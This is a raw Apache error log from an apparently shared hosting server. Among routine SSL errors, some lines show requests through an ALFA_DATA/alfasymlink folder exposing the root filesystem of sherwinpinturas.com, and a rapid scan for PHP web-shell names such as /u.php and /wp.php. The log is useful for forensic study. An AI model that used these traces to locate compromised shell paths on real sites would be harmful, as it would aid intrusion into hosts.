[Sat Oct 24 20:10:19.870155 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.208:46312] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCPv6/store_user
[Sat Oct 24 20:10:22.140827 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 50.17.193.48:20162] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:34.144265 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.216.227.216:51078] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:38.145378 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.22.59.87:1457] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:42.271966 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.163.136.244:18681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:46.377194 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 50.19.102.70:15687] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:49.263399 2026] [authz_core:error] [pid 2707162:tid 2707162] [client 66.132.172.214:20644] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:10:54.134272 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.212.205.90:18106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:58.255797 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.213.202.136:35530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:11:26.222379 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.21.175.228:37653] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:11:30.132685 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.71.216.196:9669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:11:34.377788 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 100.24.167.60:48078] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:11:37.662803 2026] [security2:error] [pid 2692918:tid 2692918] [client 185.191.171.9:29634] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/libfastjson/COPYING"] [unique_id "at1JObUNAjBk2uOT2T-GrwAAAAo"]
[Sat Oct 24 20:11:37.662839 2026] [security2:error] [pid 2692918:tid 2692918] [client 185.191.171.9:29634] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/libfastjson/COPYING"] [unique_id "at1JObUNAjBk2uOT2T-GrwAAAAo"]
[Sat Oct 24 20:11:38.119310 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 100.28.118.16:63060] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:11:41.210579 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.240184 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.269308 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.298946 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.328558 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.357663 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.386393 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.415835 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.445157 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.474478 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.504370 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.533854 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.563485 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.592829 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.622047 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.651888 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.680876 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.710181 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.740167 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.740709 2026] [security2:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/u.php"] [unique_id "at1JPfavbqLdB7btCU-9NAAAABc"]
[Sat Oct 24 20:11:41.740752 2026] [security2:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/u.php"] [unique_id "at1JPfavbqLdB7btCU-9NAAAABc"]
[Sat Oct 24 20:11:41.769819 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.801650 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.830735 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.860083 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.889362 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.919157 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.948617 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:41.978152 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.007564 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.037587 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.066772 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.095856 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.124577 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.153822 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.183272 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.212691 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.241937 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.271740 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.301212 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.330401 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.359328 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.388016 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.388347 2026] [security2:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/wp.php"] [unique_id "at1JPvavbqLdB7btCU-9SgAAABc"]
[Sat Oct 24 20:11:42.388368 2026] [security2:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/wp.php"] [unique_id "at1JPvavbqLdB7btCU-9SgAAABc"]
[Sat Oct 24 20:11:42.417307 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.446340 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.475139 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.503806 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.532590 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.562159 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.591185 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.619925 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.648573 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.678003 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.707549 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.736423 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.765264 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.793984 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.822561 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.851844 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.881424 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.910206 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.939130 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.967801 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:42.996602 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.026065 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.055224 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.084579 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.113272 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.142109 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.172035 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.201794 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.231316 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.260173 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.288733 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.317920 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.347264 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.377878 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.406749 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.435473 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.464502 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.494080 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.523189 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.527330 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.202:36616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/objects_partial
[Sat Oct 24 20:11:43.552001 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.580825 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.609603 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.639129 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.668274 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.697641 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.726692 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.755496 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.784753 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.813530 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.842725 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.871884 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.900778 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.930205 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.959994 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:43.989116 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.018397 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.047837 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.076580 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.105229 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.134399 2026] [proxy_fcgi:error] [pid 2692979:tid 2692979] [client 35.238.129.244:54082] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.221823 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.250812 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.279963 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.309810 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.339267 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.369305 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.398185 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.426862 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.456140 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.485473 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.514283 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.542991 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.571783 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.601157 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.629872 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.658898 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.688603 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.717581 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.746335 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.775292 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.805094 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.836443 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.865174 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.894413 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.923596 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.952860 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:44.982397 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.011989 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.041246 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.070068 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.099401 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.128544 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.157928 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.187300 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.216207 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.245479 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.275934 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.305263 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.334582 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.363667 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.392543 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.421673 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.451150 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.480517 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.509214 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.538157 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.567317 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.596531 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.625535 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.654429 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.683802 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:11:45.713760 2026] [proxy_fcgi:error] [pid 2707149:tid 2707149] [client 35.238.129.244:54086] AH01071: Got error 'Primary script unknown'
